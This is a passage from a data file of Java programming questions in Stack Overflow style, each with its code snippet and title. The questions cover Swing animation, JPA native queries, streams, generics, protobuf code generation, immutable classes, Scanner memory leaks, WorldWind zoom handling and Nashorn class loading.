ySpeed = 70 ; void go ( ) { x = x + ( xSpeed*25 ) /1000 ; y = y + ( ySpeed*25 ) /1000 ; int maxX = getWidth ( ) - diameter ; int maxY = getHeight ( ) - diameter ; if ( x < 0 ) { // bounce at the left side x = 0 ; xSpeed = -xSpeed ; } else if ( x > maxX ) { // bounce at the right side x = maxX ; xSpeed = -xSpeed ; } else if ( y < 0 ) { // bounce at the top side y = 0 ; ySpeed = -ySpeed ; } else if ( y > maxY ) { // bounce at the bottom size y = maxY ; ySpeed = -ySpeed ; } // end if-else block } // end method go ( ) void draw ( Graphics g ) { g.fillOval ( x , y , diameter , diameter ) ; } // end method draw } // end inner class Ball public static void main ( String [ ] args ) { JFrame window = new JFrame ( ) ; window.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; BouncingBall animation = new BouncingBall ( ) ; animation.setPreferredSize ( new Dimension ( 500 , 500 ) ) ; animation.setBackground ( Color.white ) ; window.add ( animation ) ; window.pack ( ) ; window.setVisible ( true ) ; animation.startAnimation ( ) ; } // end method main } // end class BouncingBall protected void paintComponent ( Graphics g ) { System.out.println ( `` paintComponent call number : `` + counter ) ; ++counter ; super.printComponent ( g ) ; ball.draw ( g ) ; }",Java Animation programs running jerky in Linux +Java,My code causes a SQLGrammarException when I set an empty set into a SQL IN parameter : Everything works when the set is not empty . How can I make this agnostic of whether the set ( or any collection submitted ) is populated or not ?,"Query query = this.entMngr.createNativeQuery ( `` SELECT foo_id , first , last FROM foo WHERE bar IN : barSet '' ) ; //barSet is a Set < Integer > query.setParameter ( `` barSet '' , barSet ) ; //this throws exceptionList < Object > nativeList = query.getResultList ( ) ;",SQLGrammarException when setting empty set as SQL IN parameter +Java,I have a list of list and i want to return the list that have the min size using java Stream.Here what i tried : The program should print 3 because the first list has the minimum size.Note that I ca n't change the signature of the getTheMinList ( ) . Could anyone please give me a hint ?,"import java.util.ArrayList ; import java.util.Arrays ; import java.util.stream.Collectors ; import java.util.stream.IntStream ; public class Example { public static void main ( String [ ] args ) { ArrayList < Integer > list1 = new ArrayList < > ( ) ; list1.add ( 0 ) ; list1.add ( 2 ) ; list1.add ( 3 ) ; ArrayList < Integer > list2 = new ArrayList < > ( ) ; list2.add ( 0 ) ; list2.add ( 2 ) ; list2.add ( 3 ) ; list2.add ( 4 ) ; System.out.println ( getTheMinList ( list1 , list2 ) .size ( ) ) ; } public static ArrayList < Integer > getTheMinList ( ArrayList < Integer > ... lists ) { return Arrays.stream ( lists ) .map ( list- > list.size ( ) ) /*here i stoped*/ ; } }",find the list with the minimum size over a list of list +Java,"I have a list of array of 2 objects : Where object [ 0 ] is an Integer and object [ 1 ] is a String.How can I stream the list and apply different functions on each object ? So that , the result will be an array having :",List < Object [ 2 ] > result [ 0 ] = multiplication of all object [ 0 ] result [ 1 ] = concatenation of all object [ 1 ],Java Stream Reduce of array of objects +Java,"I 've been using protobuf to generate intra-backend messages but when I moved to a new laptop and set up protoc again it seems it does n't generate working java code anymore.I 'm on the latest Ubuntu 16.04 and have downloaded the latest protocBuilding it , without errors or warnings , withThe messages shown by Eclipse / maven are these : If I manually rename parseUnknownFieldProtoc3 to parseUnknownField and same for SetUnknownFields the error goes away but that feels like the wrong solution . What am I missing ?","$ protoc -- versionlibprotoc 3.5.1 protoc -- java_out= < javapath > -- python_out= < pythonpath > messages.proto The method parseUnknownFieldProto3 ( CodedInputStream , UnknownFieldSet.Builder , ExtensionRegistryLite , int ) is undefined for the type MessageA.Request Messages.java ... path , line etc ... snip , more of the same for other messagesMessages.Shutdown Messages.java ... path ... The method setUnknownFieldsProto3 ( UnknownFieldSet ) is undefined for the type GeneratedMessageV3.Builder < Messages.Request.Builder > Messages.java ... path , line etc ... snip , more of the same",protoc producing invalid java code +Java,"Here 's a code snippet : I understand why is it possible to insert an object of String class in parametrized List.It seems like I understand why code marked with # 1 and # 2 fails.But why do # 3 and # 4 work ? As far as I understand , the compiler adds appropriate casts after type-erasure , so when I call list.get ( 0 ) , this method should return an Object previously casted to Integer . So why there is no ClassCastException occures at # 3 and # 4 at run-time ?","import java.util . * ; class Test { public static void main ( String [ ] args ) { List < Integer > list = new ArrayList < > ( ) ; addToList ( list ) ; Integer i = list.get ( 0 ) ; // # 1 fails at run-time String s = list.get ( 0 ) ; // # 2 fails at compile-time list.get ( 0 ) ; // # 3 works fine System.out.println ( list.get ( 0 ) ) ; // # 4 works fine , prints `` string '' } static void addToList ( List list ) { list.add ( `` string '' ) ; } }",Why is it possible to get back an object of `` incorrect-type '' from the parametrized List in Java ? +Java,"I struggle with the definition and usage of the method in Java 8.The method signature includes BiConsumer typed parameters . The BiConsumer FunctionalInterface defines one functional method accept ( Object , Object ) . As far as I understand I can now use any lambda expression that is congruent to this functional interface.But the example mentioned in the Stream.collect JavaDoc is e.g.I do not understand why ArrayList.add ( E e ) ( single parameter ) is congruent with the BiConsumer.accept ( T t , U u ) method ( two parameters ) and can be used as the accumulator function in the collect method.As you see I obviously have a lack of understanding and appreciate any explanation .","Stream.collect ( Supplier < R > supplier , BiConsumer < R , ? super T > accumulator , BiConsumer < R , R > combiner ) List < String > asList = stringStream.collect ( ArrayList : :new , ArrayList : :add , ArrayList : :addAll ) ;",Usage of function type congruent lambda expressions in Java 8 +Java,"In the source for JDK 1.6 , the Collections class ' swap method is written like this : What reason is there for creating a final copy of the passed list ? Why do n't they simply modify the passed list directly ? In this case , you also get the raw type warning .","public static void swap ( List < ? > list , int i , int j ) { final List l = list ; l.set ( i , l.set ( j , l.get ( i ) ) ) ; }",Why does Collections.swap assign the target list to a variable of a raw type ? +Java,"I have a simple class like the one below , but I have a question about using generics to return a value.I must get 0 ( or 0.0 - it depends on the value of T ) when i < list.size ( ) is not null . How can I code this properly to do that ?",import java.util.ArrayList ; public class Box < T extends Number > { private ArrayList < T > list ; public Box ( ) { list = new ArrayList < T > ( ) ; } public T get ( int i ) { if ( i < list.size ( ) ) return list.get ( i ) ; else return 0 ; // Problem } },How to return a number using generics in Java ? +Java,"I have a case when I want to avoid defensive copies , for data which might nevertheless be modified , but is usually simply read , and not written to . So , I 'd like to use immutable objects , with functional mutator methods , which is kind of usual ( java lombok is able to do it more or less automatically ) . The way I proceed is the following : So , to get a copy of the person with a different name , I would callIn practice , the objects are rather large ( and I ended up using serialization to avoid the burden of writing the copy code ) .Now , while browsing the web , I see a potential concurrency problem with this implementation , as my fields are not final , and thus , concurrent access might see the returned copy , for instance , without the new name change ( as there is no warrantee on the order of operation in this context ) .Of course , I ca n't make my fields final , with the current implementation , as I first do a copy , and then change the data in the copy.So , I 'm looking for a good solution for this problem.I might use volatile , but I feel it 's not a good solution . Another solution would be to use the builder pattern : Is there any problem here , and above all , is there a more elegant way of doing the same thing ?","public class Person { private String name , surname ; public Person ( String name , String surname ) { ... . } // getters ... // and instead of setters public Person withName ( String name ) { Person p= copy ( ) ; // create a copy of this ... p.name= name ; return p ; } public Person copy ( ) { ... . } } p= new Person ( `` Bar '' , `` Alfred '' ) ; ... p= p.withName ( `` Foo '' ) ; class PersonBuilder { String name , surname ; ... . } public class Person { private final String name , surname ; public Person ( PersonBuilder builder ) { ... } private PersonBuilder getBuilder ( ) { return new PersonBuilder ( name , surname ) ; } public Person withName ( String name ) { PersonBuilder b= getBuilder ( ) ; b.setName ( name ) ; return new Person ( b ) ; } }",Good way to create a immutable class with modifiers ( thread-safe ) +Java,"When I use the Create Test feature of IntelliJ IDEA , it generates test cases with a throws Exception clause , for example : This annoys me a bit : I prefer to add the specific throws clauses myself only when necessary.That way I see at a glance what kind of exceptions might be thrown by each test case.How can I change this behavior of IntelliJ to omit the throws clause ? Or am I wrong to want this ? The creators seem to think this default behavior is a good thing .",@ Testpublic void testIsInteger ( ) throws Exception { },Make IntelliJ generate tests without throws Exception +Java,"This question relates to Java collections - specifically Hashtable and Vector - but may also apply elsewhere.I 've read in many places how good it is to program to interfaces and I agree 100 % . The ability to program to a List interface , for instance , without regard for the underlying implementation is most certainly helpful for decoupling and testing purposes . With collections , I can see how an ArrayList and a LinkedList are applicable under different circumestances , given the differences with respect to internal storage structure , random access times , etc . Yet , these two implementations can be used under the same interface ... which is great.What I ca n't seem to place is how certain synchronized implementations ( in particular Hashtable and Vector ) fit in with these interfaces . To me , they do n't seem to fit the model . Most of the underlying data structure implementations seem to vary in how the data is stored ( LinkedList , Array , sorted tree , etc . ) , whereas synchronization deals with conditions ( locking conditions ) under which the data may be accessed . Let 's look at an example where a method returns a Map collection : Let 's assume that the application is not concerned at all with concurrency . In this case , we operate on whatever implementation the method returns via the interface ... Everybody is happy . The world is stable . However , what if the application now requires attention on the concurrency front ? We now can not operate without regard for the underlying implementation - Hashtable would be fine , but other implementations must be catered for . Let 's consider 3 scenarios:1 ) Enforce synchronization using synchronization blocks , etc . when adding/removing with the collection . Would n't this , however , be overkill in the event that a synchronized implementation ( Hashtable ) gets returned ? 2 ) Change the method signature to return Hashtable . This , however , tightly binds us to the Hashtable implementation , and as a result , the advantages of programming to an interface are thrown out the window.3 ) Make use of the concurrent package and change the method signature to return an implementation of the ConcurrentMap interface . To me , this seems like the way forward.Essentially , it just seems like certain synchronized implementations are a bit of a misfit within the collections framework in that , when programming to interfaces , the synchronization issue almost forces one to think about the underlying implementation.Am I completely missing the point here ? Thanks .","public Map < String , String > getSomeData ( ) ;",Programming to interfaces and synchronized collections +Java,"After looking the source code of some Java Collection classes , I found that the member variables are always being modified by using transient.For instance , the LinkedList source code : Of course , not only LinkedList uses transient , almost every Java collection classes use transient to modify at least half of their member variables . So , my question is : why transient used so widely in the Java standard library ? ( Of course everyone knows the definition and usage of transient , but that 's not my question : )","public class LinkedList < E > extends AbstractSequentialList < E > implements List < E > , Deque < E > , Cloneable , java.io.Serializable { private transient Entry < E > header = new Entry < E > ( null , null , null ) ; private transient int size = 0 ; public LinkedList ( ) { header.next = header.previous = header ; } public LinkedList ( Collection < ? extends E > c ) { this ( ) ; addAll ( c ) ; } // ... other stuff }",Java - why transient member variables used so widely in Java standard library ? +Java,"I found this thread and one of users on it posted the following line of code : I have consulted a couple of sources- like 1 and 2-to decipher what this code mean but I ca n't figure it out . Can anybody explain what the argument in the split ( ) method means ? Edit : To anyone who has the same question as I had , here 's another helpful link",String [ ] digits2 = number.split ( `` ( ? < = . ) '' ) ;,Java Regex Metacharacters +Java,"My for loop for my string compression is a bit off . I have been working on this assignment the past 5 days and I ca n't figure out for the life of me what is wrong . Can someone help me out ? For example , I passed over the string `` TTTTrrrEe '' and instead of getting T4r3Ee , I 'm getting T4r3EeTT . I do n't know why it jumps back to the beginning of the string like that , but I am getting closer.We can only use charAt , equals , length , and substring from the string class.Can someone help guide me in the right direction by helping to correct my logic ? I still want to try and code this myself , seeing as how it is an assignment .","public static String compress ( String s ) { int count = 0 ; String temp = s.substring ( 0,1 ) ; for ( int i = 0 ; i < s.length ( ) ; i++ ) { if ( i ! =s.length ( ) -1 ) { if ( temp.equals ( s.substring ( i , i+1 ) ) ) { count++ ; } else { if ( count < 1 ) { System.out.print ( s.substring ( i , i+2 ) ) ; System.out.print ( temp.substring ( 0,1 ) ) ; } else { System.out.print ( `` '' + temp.substring ( 0,1 ) + count ) ; i -- ; temp = s.substring ( count , count+1 ) ; System.out.println ( `` temp is now `` + temp ) ; count = 0 ; //i -- ; } } } } System.out.println ( temp ) ; return temp ; }",String Compression loop logic +Java,"I dont understand those few statements that I read : because accessing a volatile variable never holds a lock , it is not suitable for cases where we want to read-update-write as an atomic operation ( unless we 're prepared to `` miss an update '' ) ; What does it mean , I cant read-update-write ? When will I want to use volatile instead of simple boolean . In C # , I remember that I could use a simple static bool to control when a thread starts and stops , but in java I need to use the identifier , `` volatile '' :",> public class StoppableTask extends Thread { private volatile boolean pleaseStop ; public void run ( ) { while ( ! pleaseStop ) { // do some stuff ... } } public void tellMeToStop ( ) { pleaseStop = true ; } },volatile identifier in java +Java,"I 've created an input handler for NASA Worldwind that I 'm trying to replicate Google Earth like zooming with . I 'm trying to make zoom towards the mouse cursor , instead of the center of the screen ( like it does by default ) . I 've got it somewhat working -- except it does n't zoom towards the lat/long under the cursor consistently , it seems to drift too far . What I want to happen is that the same lat/long is held under the cursor during the duration of the zoom . So , for instance , if you are hovering the cursor over a particular landmark ( like a body of water ) , it will stay under the cursor as the wheel is scrolled.The code I 'm using is based heavily on this : https : //forum.worldwindcentral.com/forum/world-wind-java-forums/development-help/11977-zoom-at-mouse-cursor ? p=104793 # post104793Here is my Input Handler : To enable , set this property in the worldwind.xml to point to this class :","import java.awt.event.MouseWheelEvent ; import gov.nasa.worldwind.awt.AbstractViewInputHandler ; import gov.nasa.worldwind.awt.ViewInputAttributes ; import gov.nasa.worldwind.geom.Position ; import gov.nasa.worldwind.geom.Vec4 ; import gov.nasa.worldwind.view.orbit.BasicOrbitView ; import gov.nasa.worldwind.view.orbit.OrbitViewInputHandler ; public class ZoomToCursorViewInputHandler extends OrbitViewInputHandler { protected class ZoomActionHandler extends VertTransMouseWheelActionListener { @ Override public boolean inputActionPerformed ( AbstractViewInputHandler inputHandler , MouseWheelEvent mouseWheelEvent , ViewInputAttributes.ActionAttributes viewAction ) { double zoomInput = mouseWheelEvent.getWheelRotation ( ) ; Position position = getView ( ) .computePositionFromScreenPoint ( mousePoint.x , mousePoint.y ) ; // Zoom toward the cursor if we 're zooming in . Move straight out when zooming // out . if ( zoomInput < 0 & & position ! = null ) return this.zoomToPosition ( position , zoomInput , viewAction ) ; else return super.inputActionPerformed ( inputHandler , mouseWheelEvent , viewAction ) ; } protected boolean zoomToPosition ( Position position , double zoomInput , ViewInputAttributes.ActionAttributes viewAction ) { double zoomChange = zoomInput * getScaleValueZoom ( viewAction ) ; BasicOrbitView view = ( BasicOrbitView ) getView ( ) ; System.out.println ( `` ================================ '' ) ; System.out.println ( `` Center Position : \t\t '' +view.getCenterPosition ( ) ) ; System.out.println ( `` Mouse is on Position : \t\t '' +position ) ; Vec4 centerVector = view.getCenterPoint ( ) ; Vec4 cursorVector = view.getGlobe ( ) .computePointFromLocation ( position ) ; Vec4 delta = cursorVector.subtract3 ( centerVector ) ; delta = delta.multiply3 ( -zoomChange ) ; centerVector = centerVector.add3 ( delta ) ; Position newPosition = view.getGlobe ( ) .computePositionFromPoint ( centerVector ) ; System.out.println ( `` New Center Position is : \t '' +newPosition ) ; setCenterPosition ( view , uiAnimControl , newPosition , viewAction ) ; onVerticalTranslate ( zoomChange , viewAction ) ; return true ; } } public ZoomToCursorViewInputHandler ( ) { ViewInputAttributes.ActionAttributes actionAttrs = this.getAttributes ( ) .getActionMap ( ViewInputAttributes.DEVICE_MOUSE_WHEEL ) .getActionAttributes ( ViewInputAttributes.VIEW_VERTICAL_TRANSLATE ) ; actionAttrs.setMouseActionListener ( new ZoomActionHandler ( ) ) ; } } < Property name= '' gov.nasa.worldwind.avkey.ViewInputHandlerClassName '' value= '' gov.nasa.worldwindx.examples.ZoomToCursorViewInputHandler '' / >",WorldWind Java Google Earth Like Zoom +Java,"In line number 4 , obj is a reference which refers to object on the heap , which was constructed by invoking MyClass ( ) .In line number 5 , myComparator is a reference which is referring towhat is present on the other side of assignment operator , i.e a Lambda Expression . Is Lambda Expression an object ? If yes , is it stored on the heap ? Does it adhere to rules of Garbage Collector , which cleans up unreferenced objects or it behaves slightly different ? If no , i.e if Lambda Expression is not an object and thereby assuming that it is not present in heap , then how myComparator ( being a reference , assuming that it is present in stack ) is able to refer to a lambda expression and we are able to invoke a method on it ? In Java , arrays are stored on heap , Can we safely claim that below array is also stored on heap ? Can we safely assume that 'code which could be run ' is getting stored as objects on the heap ? If Lambda expressions can be treated as an object , can we serialize this object and transport to another JVM , allowing to send 'executable ' code from one JVM to another JVM , at runtime ? This would allow to 'accept ' logic from a system A to execute that logic on system B . As an aside , it might become possible to distribute 'code ' to other systems ( similar to serializing a runnable thread and sending across ) ? Am I thinking in right path , please clarify whether these are possibilities which are already present . Thanks ( Would be interested to see some implementation details )","1. public interface MyComparator { 2. public boolean compare ( int a1 , int a2 ) ; 3 . } 4 . MyClass obj = new MyClass ( ) ; 5 . MyComparator myComparator = ( a1 , a2 ) - > return a1 > a2 ; 6. boolean result = myComparator.compare ( 2 , 5 ) ; FileFilter myFileFilter [ ] = new FileFilter [ ] { f - > f.exists ( ) , f - > f.canRead ( ) , f - > f.getName ( ) .startsWith ( `` q '' ) }","In Java , can we claim that lambda expressions are stored and is present in heap ?" +Java,"I 'm attempting to learn Scala so I have decided to implement datastructures with it . I 've begun with the Stack . I have created the following Stack class.I Then attempt to initialize this class in my Java class using the followingHowever , I 'm told that the constructor does n't exist and that I should add an argument to match Manifest . Why does this happen and how can I fix it ?",class Stack [ A : Manifest ] ( ) { var length : Int = -1 var data = new Array [ A ] ( 100 ) /** * Returns the size of the Stack . * @ return the size of the stack */ def size = { length } /** * Returns the top element of the Stack without * removing it . * @ return Stacks top element ( not removed ) */ def peek [ A ] = { data ( length ) } /** * Informs the developer if the Stack is empty . * @ return returns true if it is empty else false . */ def isEmpty = { if ( length==0 ) true else false } /** * Pushes the specified element onto the Stack . * @ param The element to be pushed onto the Stack */ def push ( i : A ) { if ( length+1 == data.size ) reSize length+=1 data ( length ) = i ; } /** * Pops the top element off of the Stack . * @ return the pop 'd element . */ def pop [ A ] = { length-=1 data ( length ) } /** * Increases the size of the Stack by 100 indexes . */ private def reSize { val oldData = data ; data = new Array [ A ] ( length+101 ) for ( i < -0 until length ) data ( i ) =oldData ( i ) } } Stack < Integer > stack = new Stack < Integer > ( ) ;,Attempting to initialize a Scala created class in Java +Java,"I 'm running a simple scanner to parse a string , however I 've discovered that if called often enough I get OutOfMemory errors . This code is called as part of the constructor of an object that is built repeatedly for an array of strings : Edit : Here 's the constructor for more infos ; not much more happening outside of the try-catch regarding the ScannerA profiler memory snapshot shows the read ( Char ) method of Scanner.findInLine ( ) to be allocated massive amounts of memory during operation as a I scan through a few hundred thousands strings ; after a few seconds it already is allocated over 38MB.I would think that calling close ( ) on the scanner after using it in the constructor would flag the old object to be cleared by the GC , but somehow it remains and the read method accumulates gigabytes of data before filling the heap.Can anybody point me in the right direction ?","public Header ( String headerText ) { char [ ] charArr ; charArr = headerText.toCharArray ( ) ; // Check that all characters are printable characters if ( charArr.length > 0 & & ! commonMethods.isPrint ( charArr ) ) { throw new IllegalArgumentException ( headerText ) ; } // Check for header suffix Scanner sc = new Scanner ( headerText ) ; MatchResult res ; try { sc.findInLine ( `` ( \\D* [ a-zA-Z ] + ) ( \\d* ) ( \\D* ) '' ) ; res = sc.match ( ) ; } finally { sc.close ( ) ; } if ( res.group ( 1 ) == null || res.group ( 1 ) .isEmpty ( ) ) { throw new IllegalArgumentException ( `` Missing header keyword found '' ) ; // Empty header to store } else { mnemonic = res.group ( 1 ) .toLowerCase ( ) ; // Store header } if ( res.group ( 2 ) == null || res.group ( 2 ) .isEmpty ( ) ) { suffix = -1 ; } else { try { suffix = Integer.parseInt ( res.group ( 2 ) ) ; // Store suffix if it exists } catch ( NumberFormatException e ) { throw new NumberFormatException ( headerText ) ; } } if ( res.group ( 3 ) == null || res.group ( 3 ) .isEmpty ( ) ) { isQuery= false ; } else { if ( res.group ( 3 ) .equals ( `` ? '' ) ) { isQuery = true ; } else { throw new IllegalArgumentException ( headerText ) ; } } // If command was of the form *ABC , reject suffixes and prefixes if ( mnemonic.contains ( `` * '' ) & & suffix ! = -1 ) { throw new IllegalArgumentException ( headerText ) ; } }",Scanner.findInLine ( ) leaks memory massively +Java,"The parser generated by DateTimeFormatter.ofPattern exhibits the following interesting behaviour which is preventing me from writing a pattern to parse a string like 20150100 : I debuged the code , it seems the problem is caused by the year field parsing beyond the end of the string ( max width for three y 's and more is always 19 ) . However , I do n't understand how it could work for the pattern without the '00 ' literal at the end.Is there any way to fix this withing having to use a formatter builder ? Edit : Since Jarrod below confirmed it 's buggy , I did more googling and finally found the bug reports : http : //bugs.java.com/bugdatabase/view_bug.do ? bug_id=8031085http : //bugs.java.com/bugdatabase/view_bug.do ? bug_id=8032491Both are only fixed in Java 9 though ... ...","System.out.println ( DateTimeFormatter.ofPattern ( `` yyyyMM '' ) .parse ( `` 201501 '' , YearMonth : :from ) ) ; // worksSystem.out.println ( DateTimeFormatter.ofPattern ( `` yyyyMM'aa ' '' ) .parse ( `` 201501aa '' , YearMonth : :from ) ) ; // worksSystem.out.println ( DateTimeFormatter.ofPattern ( `` yyyyMM'00 ' '' ) .parse ( `` 20150100 '' , YearMonth : :from ) ) ; // java.time.format.DateTimeParseException : Text '20150100 ' could not be parsed at index 0",DateTimeFormatter pattern with liternal and no separator does not work +Java,"Consider the following class : Then I compile and decompile the class : In simple words , javac compiles sum ( ) to this : What is Objects.requireNonNull ( this ) doing here ? What 's the point ? Is this somehow connected to reachability ? The Java 8 compiler is similar . It inserts this.getClass ( ) instead of Objects.requireNonNull ( this ) : I also tried to compile it with Eclipse . It does n't insert requireNonNull : So this is javac-specific behavior .","class Temp { private final int field = 5 ; int sum ( ) { return 1 + this.field ; } } > javac -- versionjavac 11.0.5 > javac Temp.java > javap -v Temp.class ... int sum ( ) ; descriptor : ( ) I flags : ( 0x0000 ) Code : stack=2 , locals=1 , args_size=1 0 : iconst_1 1 : aload_0 2 : invokestatic # 3 // Method java/util/Objects.requireNonNull : ( Ljava/lang/Object ; ) Ljava/lang/Object ; 5 : pop 6 : iconst_5 7 : iadd 8 : ireturn int sum ( ) { final int n = 1 ; Objects.requireNonNull ( this ) ; // < -- - return n + 5 ; } int sum ( ) { final int n = 1 ; this.getClass ( ) ; // < -- - return n + 5 ; } int sum ( ) { return 1 + 5 ; }",Why does javac insert Objects.requireNonNull ( this ) for final fields ? +Java,1 ) Why does the following codes differ.C # : Java:2 ) When migrating from one language to another what are the things we need to ensure for smooth transition .,class Base { public void foo ( ) { System.Console.WriteLine ( `` base '' ) ; } } class Derived : Base { static void Main ( string [ ] args ) { Base b = new Base ( ) ; b.foo ( ) ; b = new Derived ( ) ; b.foo ( ) ; } public new void foo ( ) { System.Console.WriteLine ( `` derived '' ) ; } } class Base { public void foo ( ) { System.out.println ( `` Base '' ) ; } } class Derived extends Base { public void foo ( ) { System.out.println ( `` Derived '' ) ; } public static void main ( String [ ] s ) { Base b = new Base ( ) ; b.foo ( ) ; b = new Derived ( ) ; b.foo ( ) ; } },Why does Java and C # differ in oops ? +Java,"Is it possible to use annotation processor in the same project where it is defined ? Example : src/MyAnnotation.javapath_to_MyAnnotationProcessor.MyAnnotationProcessor.javaother classesresourcesMETA-INF/services/javax.annotation.processing.Processorpomwhen I will run mvn clean install , I will expect that my processor will process classes annotated with MyAnnotation . I don ` t want to import already compiled processor from another lib , I just want to use it once I defined it in my src.For now , I get error : [ ERROR ] Failed to execute goal org.apache.maven.plugins : maven-compiler-plugin:3.6.1 : compile ( default-compile ) on project my-project : Compilation failure [ ERROR ] Annotation processor 'path_to_MyAnnotationProcessor ' not foundpart of pom.xml , where I ref . to my processors : Thanks to everybody , especially to @ Stefan Ferstl and @ yegodm . The solution came from yegodm is : '' One way is two have two modules in the same project . One module would define annotations and processor . Another would have it as a dependency to establish build order . ''",< plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < version > $ { maven.plugin.compiler } < /version > < configuration > < source > $ { version.java } < /source > < target > $ { version.java } < /target > < annotationProcessors > < proc > path_to_MyAnnotationProcessor.MyAnnotationProcessor < /proc > < /annotationProcessors > < /configuration > < /plugin >,Integrate annotation processor into the same project +Java,I have created a CustomTextField which scrolls itself towards left when i type text which are extra than the width of the TextField for which a HorizonalFieldManager is used But now the problem is if i Right click with my mouse and scroll it it goes on to inadequate length but does not stop to the last word i typeWhat is the problem here ? ? Is it a bug I just need that to disable HorizontalScrolling when it reaches the last wordIt should be able to scroll just between the start and end of last word in word Check out the code i have initialised it as I feel the need of Scroll ( is Scrolling Function ) for HorizontalFieldManager ... but have not yet came up to solution yet Please help,"import net.rim.device.api.ui.Color ; import net.rim.device.api.ui.Field ; import net.rim.device.api.ui.FocusChangeListener ; import net.rim.device.api.ui.Graphics ; import net.rim.device.api.ui.Manager ; import net.rim.device.api.ui.XYEdges ; import net.rim.device.api.ui.XYRect ; import net.rim.device.api.ui.component.BasicEditField ; import net.rim.device.api.ui.container.HorizontalFieldManager ; import net.rim.device.api.ui.container.VerticalFieldManager ; import net.rim.device.api.ui.decor.Border ; import net.rim.device.api.ui.decor.BorderFactory ; public class CustomTextField extends VerticalFieldManager { private int textWidth=0 ; private int textHeight=0 ; private BasicEditField basicEditField ; private HorizontalFieldManager hfm ; //Border border ; public CustomTextField ( int width , int height ) { super ( ) ; textWidth=width ; textHeight=height ; //border=BorderFactory.createSimpleBorder ( new XYEdges ( 1 , 1 , 1 , 1 ) ) ; hfm=new HorizontalFieldManager ( Manager.HORIZONTAL_SCROLL ) { protected void sublayout ( int maxWidth , int maxHeight ) { super.sublayout ( maxWidth , maxHeight ) ; setExtent ( textWidth , textHeight ) ; } } ; basicEditField=new BasicEditField ( `` '' , '' '' ,200 , BasicEditField.NO_NEWLINE ) ; //basicEditField.setBorder ( border ) ; hfm.add ( basicEditField ) ; add ( hfm ) ; } protected void sublayout ( int maxWidth , int maxHeight ) { super.sublayout ( textWidth , textHeight ) ; setExtent ( textWidth , textHeight ) ; } protected void paint ( Graphics graphics ) { super.paint ( graphics ) ; graphics.setColor ( Color.BLACK ) ; graphics.drawRect ( 0,0 , textWidth , textHeight ) ; } } CustomTextField textField=new CustomTextField ( 200 , 20 ) ; add ( textField ) ;",Horizontal Scrolling and TextField Error +Java,"I have been using a reflection technique from https : //apimeister.com/2015/06/27/add-jar-to-the-classpath-at-runtime-in-jjs.html to load classes at runtime in java 's nashorn jjs.It works in java 8 , but in java 9 it does n't . I know about the recommended command line workaround mentioned in https : //stackoverflow.com/a/41265267/5891192 And according to https : //stackoverflow.com/a/45970885/5891192 this alternative syntax of using = instead of spaces between the flag and its args seems like it should also be valid ( needed because of the nashorn method of passing jvm args through jjs via -J -- ... Any hints ? This works ... ( java 8 ) ... This does n't ... ( java 9 ) ... And here is loadit.js ... Edit : 23 Oct 2018 : corrected the `` This does n't ( java 9 ) '' example command line","$ wget -q http : //central.maven.org/maven2/org/apache/poi/poi/4.0.0/poi-4.0.0.jar $ /usr/lib/jvm/java-1.8.0/bin/jjs -scripting loadit.js -- poi-4.0.0.jarDONE $ wget -q http : //central.maven.org/maven2/org/apache/poi/poi/4.0.0/poi-4.0.0.jar $ /usr/lib/jvm/java-9/bin/jjs -J -- add-opens=java.base/java.net=ALL-UNNAMED -scripting loadit.js -- poi-4.0.0.jarException in thread `` main '' java.lang.reflect.InaccessibleObjectException : Unable to make protected void java.net.URLClassLoader.addURL ( java.net.URL ) accessible : module java.base does not `` opens java.net '' to module jdk.scripting.nashorn.scriptsat java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible ( AccessibleObject.java:337 ) ... // loadit.js function addUrlToClasspath ( pth ) { var s = java.lang.ClassLoader.getSystemClassLoader ( ) ; var C = Java.type ( `` java.lang.Class [ ] '' ) ; var p = new C ( 1 ) ; p [ 0 ] = java.net.URL.class ; var m = java.net.URLClassLoader.class.getDeclaredMethod ( `` addURL '' , p ) ; var O = Java.type ( `` java.lang.Object [ ] '' ) ; var a = new O ( 1 ) ; var f = new java.io.File ( pth ) ; m.setAccessible ( true ) ; var u = f.toURL ( ) ; a [ 0 ] = u ; m.invoke ( s , a ) ; } addUrlToClasspath ( $ ARG [ 0 ] ) ; print ( `` DONE '' )",How do I get jjs -- add-opens to work in java9 ? +Java,"I have a TextField in javaFX where the background color changes accordingly to if the content is valid or not.Valid : Invalid : Basically : Only digitsFirst group 4 or 9 digitsIf first group 9 digits - > only two groups in totalIf first group 4 digits - > three , four or five groups in totalGroup two and three digits 1-9999Group four and five digits 0-9999Now think one of these ( valid ) lines as one `` Ident '' .The current regex is : Which works great so far , but now I want to include csv . So I can type only one ident as I have used to , or multiple idents separated by comma ( , ) , but not more than five idents in total.My attempt : This enables me to input this : All the valid lines above0101 9 1 , 0101 9 2 , 0101 9 30101 9 1 , 987654321 21 , 0101 9 3 , 0101 9 4And if I input more than 5 idents it turns invalid correctly.But if I input the invalid ident 0101 9 1 1 1 1 1 1 1 1 1 it still turns valid.Any suggestions ? EDIT : This is the matching logic :","987654321 1987654321 210101 9 11701 91 1 24101 917 1 0 430801 9 178 2 00111 9 1 084 0 0101 9 1 0 1 031240314 9 final String base = `` ( \\d+\\s+\\d+ ) | ( \\d+\\s+\\d+\\s+\\d+ ( \\s+\\d+ ) ? ( \\s+\\d+ ) ? ) | ( \\d+\\s+\\d+\\s+\\d+ ) | ( \\d+\\s+\\d+\\s+\\d+\\s+\\d+ ) | ( \\d+\\s+\\d+\\s+\\d+\\s+\\d+\\s+\\d+ ) '' ; final String pattern = String.format ( `` ( % s , ? \\s* ) { 1,5 } '' , base ) ; private final Predicate < String > typingPredicate = new Predicate < String > ( ) { @ Override public boolean apply ( String input ) { return input.matches ( pattern ) ; } } ; textField.textProperty ( ) .addListener ( new ChangeListener < String > ( ) { @ Override public void changed ( ObservableValue < ? extends String > observableValue , String previous , String current ) { if ( current ! = null ) { if ( StringUtils.isEmpty ( current ) || typingPredicate.apply ( current.trim ( ) ) ) { textField.getStyleClass ( ) .removeAll ( `` invalid '' ) ; } else { textField.getStyleClass ( ) .add ( `` invalid '' ) ; } } } } ) ;",Regex validating csv strings +Java,"Recently i tested following program & i was expecting runtime error but it shows `` nan '' as output . Why & How ? I am using g++ compiler.Same way i also tried similar type of program in Java & C # & it shows again `` nan '' as output.I want to know that how floating point arithmetic is implemented & how it differes from integer arithmetic . Is it undefined behaviour in case of C++ ? If yes , why ? Please help me .",# include < iostream > int main ( 